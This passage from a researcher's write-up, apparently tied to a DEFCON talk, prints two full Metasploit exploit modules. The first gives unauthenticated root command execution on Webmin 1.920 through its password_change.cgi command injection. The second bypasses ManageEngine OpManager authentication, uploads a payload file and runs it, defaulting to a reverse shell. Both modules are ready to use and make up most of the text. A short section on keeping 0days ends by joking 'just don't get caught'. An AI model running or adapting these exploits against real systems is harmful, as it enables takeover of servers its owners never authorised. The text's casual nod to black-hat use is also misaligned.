This value can be as follows;
redirect=1; testing=1; sid=x; sessiontest=1
The "Referer" control is set by default in Webmin.
So when sending an HTTP request, we need to make an automated description in the "Referer".
RHOST and RPORT should be combined with SSL and placed in this section.
We create a function called "peer" to cover this part.

user=root&pam=&expired=2&old=AkkuS&new1=akkuss&new2=akkuss
Finally, we prefer to use "send_request_cgi". Because the sent data will be automatically urlencode. "send_request_raw" does not urlencode data automatically.
But we'll also use "ctype" because the payload which we'll place must be urlencode too.
For Content-Type, we will place the value "application/x-www-form-urlencoded" in the request.
We can call payload set in metasploit with "payload.encoded" parameter in module.
We can test with the "puts" command, which can be used for print.




##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Webmin 1.920 Unauthenticated RCE',
'Description' => %q(
This module exploits an arbitrary command execution vulnerability in Webmin
1.920 and prior versions. If the password change module is turned on, the unathenticated user
can execute arbitrary commands with root privileges.
/////// This 0day has been published at DEFCON-AppSec Village. ///////
),
'Author' => [
'AkkuS <Özkan Mustafa Akkuş>' # Discovery & PoC & Metasploit module @ehakkus
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2019-'],
['URL', 'https://www.pentest.com.tr']
],
'Privileged' => true,
'Payload' =>
{
'DisableNops' => true,
'Space' => 512,
'Compat' =>
{
'PayloadType' => 'cmd'
}
},
'DefaultOptions' =>
{
'RPORT' => 10000,
'SSL' => false,
'PAYLOAD' => 'cmd/unix/reverse_python'
},
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Targets' => [['Webmin <= 1.910', {}]],
'DisclosureDate' => 'May 16 2019',
'DefaultTarget' => 0)
)
register_options [
OptString.new('TARGETURI', [true, 'Base path for Webmin application', '/'])
]
end
def peer
"#{ssl ? 'https://' : 'http://' }#{rhost}:#{rport}"
end
##
# Target and input verification
##
def check
# check passwd change priv
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, "password_change.cgi"),
'headers' =>
{
'Referer' => "#{peer}/session_login.cgi"
},
'cookie' => "redirect=1; testing=1; sid=x; sessiontest=1"
})
if res && res.code == 200 && res.body =~ /Failed/
res = send_request_cgi(
{
'method' => 'POST',
'cookie' => "redirect=1; testing=1; sid=x; sessiontest=1",
'ctype' => 'application/x-www-form-urlencoded',
'uri' => normalize_uri(target_uri.path, 'password_change.cgi'),
'headers' =>
{
'Referer' => "#{peer}/session_login.cgi"
},
'data' => "user=root&pam=&expired=2&old=AkkuS%7cdir%20&new1=akkuss&new2=akkuss"
})
if res && res.code == 200 && res.body =~ /password_change.cgi/
return CheckCode::Vulnerable
else
return CheckCode::Safe
end
else
return CheckCode::Safe
end
end
##
# Exploiting phase
##
def exploit
unless Exploit::CheckCode::Vulnerable == check
fail_with(Failure::NotVulnerable, 'Target is not vulnerable.')
end
command = payload.encoded
print_status("Attempting to execute the payload...")
handler
res = send_request_cgi(
{
'method' => 'POST',
'cookie' => "redirect=1; testing=1; sid=x; sessiontest=1",
'ctype' => 'application/x-www-form-urlencoded',
'uri' => normalize_uri(target_uri.path, 'password_change.cgi'),
'headers' =>
{
'Referer' => "#{peer}/session_login.cgi"
},
'data' => "user=root&pam=&expired=2&old=AkkuS%7c#{command}%20&new1=akkuss&new2=akkuss"
})
end
end

5.0. Power of 0days and choice between black and white hats
The power of the 0day can make you feel different emotions. You may not want to share your critical vunerabilities. This is natural. However, if you hold them for a long time, they can drag you into illegal activities. This is absolutely inevitable. A vulnerability that no one knows! and when you feel the power to hack thousands of servers, bad things go through your mind. You can sure that So I don't think you should keep it for too long. Because the main reason for not sharing the discovered vulnerabilities are to use it for bad purposes or to sell it for another person. However, the person you sell will use this 0day for bad things. So if you're a whitehat hacker, you should share 0day before it's over. After you, the blackhats can discover the same vulnerability and the black side wins, not the white side. You may also like to wear the black hat. I dont know :) I have no suggestion for that :) just don't get caught :)6.0. Disclosure of public 0days in Webmin and ManageEngine web Applications
Up to this part, I published 2 different 0days. Now let's look at the details of the "ManageEngine OpManager Unauthenticated RCE" vulnerability. "ManageEngine Application Manager Plugin" is integrated to use a significant part of "ManageEngine OpManager". Almost all OpManager applications are installed with this plugin. If "Application Manager" is installed as a plugin, you can only access "Application Manager" from within "OpManager". Without OpManager it will also tell you that this is not possible if you want to login to "Application Manager". Because "AppManager Plugin" controls the users in the database of "OpManager" and allows the transition automatically. In fact, you don't have an "Application Manager" user. While reviewing this Plugin, I noticed a very critical mistake that was left by the developer. We can check if the "OpManager" application uses this plug-in in the source code on the homepage with "/Logout.do?showPreLogin=false" parameters.




##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info={})
super(update_info(info,
'Name' => "ManageEngine OpManager v12.4x - Unauthenticated Remote Command Execution",
'Description' => %q(
This module bypasses the user password requirement in the OpManager v12.4.034 and prior versions.
It performs authentication bypass and executes commands on the server.
/////// This 0day has been published at DEFCON-AppSec Village. ///////
),
'License' => MSF_LICENSE,
'Author' =>
[
'AkkuS <Özkan Mustafa Akkuş>', # Discovery & PoC & Metasploit module @ehakkus
],
'References' =>
[
[ 'URL', 'http://pentest.com.tr/exploits/DEFCON-ManageEngine-OpManager-v12-4-Unauthenticated-Remote-Command-Execution.html' ]
],
'DefaultOptions' =>
{
'WfsDelay' => 60,
'RPORT' => 8060,
'SSL' => false,
'PAYLOAD' => 'generic/shell_reverse_tcp'
},
'Privileged' => true,
'Payload' =>
{
'DisableNops' => true,
},
'Platform' => ['unix', 'win'],
'Targets' =>
[
[ 'Windows Target',
{
'Platform' => ['win'],
'Arch' => ARCH_CMD,
}
],
[ 'Linux Target',
{
'Platform' => ['unix'],
'Arch' => ARCH_CMD,
'Payload' =>
{
'Compat' =>
{
'PayloadType' => 'cmd',
}
}
}
]
],
'DisclosureDate' => '10 August 2019 //DEFCON',
'DefaultTarget' => 0))
register_options(
[
OptString.new('USERNAME', [true, 'OpManager Username', 'admin']),
OptString.new('TARGETURI', [true, 'Base path for ME application', '/'])
],self.class)
end
def check_platform(host, port, cookie)
res = send_request_cgi(
'rhost' => host,
'rport' => port,
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'showTile.do'),
'cookie' => cookie,
'vars_get' => {
'TileName' => '.ExecProg',
'haid' => 'null',
}
)
if res && res.code == 200 && res.body.include?('createExecProgAction')
@dir = res.body.split('name="execProgExecDir" maxlength="200" size="40" value="')[1].split('" class=')[0]
if @dir =~ /:/
platform = Msf::Module::Platform::Windows
else
platform = Msf::Module::Platform::Unix
end
else
fail_with(Failure::Unreachable, 'Connection error occurred! DIR could not be detected.')
end
file_up(host, port, cookie, platform, @dir)
end
def file_up(host, port, cookie, platform, dir)
if platform == Msf::Module::Platform::Windows
filex = ".bat"
else
if payload.encoded =~ /sh/
filex = ".sh"
elsif payload.encoded =~ /perl/
filex = ".pl"
elsif payload.encoded =~ /awk 'BEGIN{/
filex = ".sh"
elsif payload.encoded =~ /python/
filex = ".py"
elsif payload.encoded =~ /ruby/
filex = ".rb"
else
fail_with(Failure::Unknown, 'Payload type could not be checked!')
end
end
@fname= rand_text_alpha(9 + rand(3)) + filex
data = Rex::MIME::Message.new
data.add_part('./', nil, nil, 'form-data; name="uploadDir"')
data.add_part(payload.encoded, 'application/octet-stream', nil, "form-data; name=\"theFile\"; filename=\"#{@fname}\"")
res = send_request_cgi({
'rhost' => host,
'rport' => port,
'method' => 'POST',
'data' => data.to_s,
'agent' => 'Mozilla',
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'cookie' => cookie,
'uri' => normalize_uri(target_uri, "Upload.do")
})
if res && res.code == 200 && res.body.include?('icon_message_success')
print_good("#{@fname} malicious file has been uploaded.")
create_exec_prog(host, port, cookie, dir, @fname)
else
fail_with(Failure::Unknown, 'The file could not be uploaded!')
end
end
def create_exec_prog(host, port, cookie, dir, fname)
@display = rand_text_alphanumeric(7)
res = send_request_cgi(
'method' => 'POST',
'rhost' => host,
'rport' => port,
'uri' => normalize_uri(target_uri.path, 'adminAction.do'),
'cookie' => cookie,
'vars_post' => {
'actions' => '/showTile.do?TileName=.ExecProg&haid=null',
'method' => 'createExecProgAction',
'id' => 0,
'displayname' => @display,
'serversite' => 'local',
'choosehost' => -2,
'abortafter' => 5,
'command' => fname,
'execProgExecDir' => dir,
'cancel' => 'false'
}
)
if res && res.code == 200 && res.body.include?('icon_message_success')
actionid = res.body.split('actionid=')[1].split("','710','350','250','200')")[0]
print_status("Transactions completed. Attempting to get a session...")
exec(host, port, cookie, actionid)
else
fail_with(Failure::Unreachable, 'Connection error occurred!')
end
end
def exec(host, port, cookie, action)
send_request_cgi(
'method' => 'GET',
'rhost' => host,
'rport' => port,
'uri' => normalize_uri(target_uri.path, 'common', 'executeScript.do'),
'cookie' => cookie,
'vars_get' => {
'method' => 'testAction',
'actionID' => action,
'haid' => 'null'
}
)
end
def peer
"#{ssl ? 'https://' : 'http://' }#{rhost}:#{rport}"
end
def print_status(msg='')
super("#{peer} - #{msg}")
end
def print_error(msg='')
super("#{peer} - #{msg}")
end
def print_good(msg='')
super("#{peer} - #{msg}")
end
def check
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'apiclient', 'ember', 'Login.jsp'),
)
if res && res.code == 200 && res.body.include?('Logout.do?showPreLogin=false')
appm_adr = res.body.split('iframe src="')[1].split('/Logout.do?showPreLogin=false')[0]
am_host = appm_adr.split('://')[1].split(':')[0]
am_port = appm_adr.split('://')[1].split(':')[1]
res = send_request_cgi(
'rhost' => am_host,
'rport' => am_port,
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'applications.do'),
)
# Password check vulnerability in Java Script :/
if res.body.include?('j_password.value=username')
return Exploit::CheckCode::Vulnerable
else
return Exploit::CheckCode::Safe
end
else
return Exploit::CheckCode::Safe
end
end
def app_login
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'apiclient', 'ember', 'Login.jsp'),
)
appm_adr = res.body.split('iframe src="')[1].split('/Logout.do?showPreLogin=false')[0]
am_host = appm_adr.split('://')[1].split(':')[0]
am_port = appm_adr.split('://')[1].split(':')[1]
res = send_request_cgi(
'rhost' => am_host,
'rport' => am_port,
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'applications.do'),
)
@cookie = res.get_cookies
res = send_request_cgi(
'method' => 'POST',
'rhost' => am_host,
'rport' => am_port,
'cookie' => @cookie,
'uri' => normalize_uri(target_uri.path, '/j_security_check'),
'vars_post' => {
'clienttype' => 'html',
'j_username' => datastore['USERNAME'],
'j_password' => datastore['USERNAME'] + "@opm",
'submit' => 'Login'
}
)
if res && res.code == 302 or 303
print_good("Authentication bypass was successfully performed.")
res = send_request_cgi(
'rhost' => am_host,
'rport' => am_port,
'cookie' => @cookie,
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'applications.do'),
)
@cookie = res.get_cookies
check_platform(am_host, am_port, @cookie)
else
fail_with(Failure::NotVulnerable, 'Failed to perform authentication bypass! Try with another username...')
end
end
def exploit
unless Exploit::CheckCode::Vulnerable == check
fail_with(Failure::NotVulnerable, 'Target is not vulnerable.')
end
app_login
end
end

0days!
- 10 Aug, 2019 ::
Webmin Unatuhenticated MSF Module CVE-2019-15107
| RCE
- 10 Aug, 2019 :: ManageEngine OPM Unatuhenticated MSF Module CVE-2019-15106
| RCE
- 10 Aug, 2019 :: ManageEngine APM Priv Esc to RCE MSF Module CVE-2019-15105 | RCE
- 10 Aug, 2019 :: ManageEngine OPM Priv Esc to RCE MSF Module CVE-2019-15104 | RCE
With all respect!
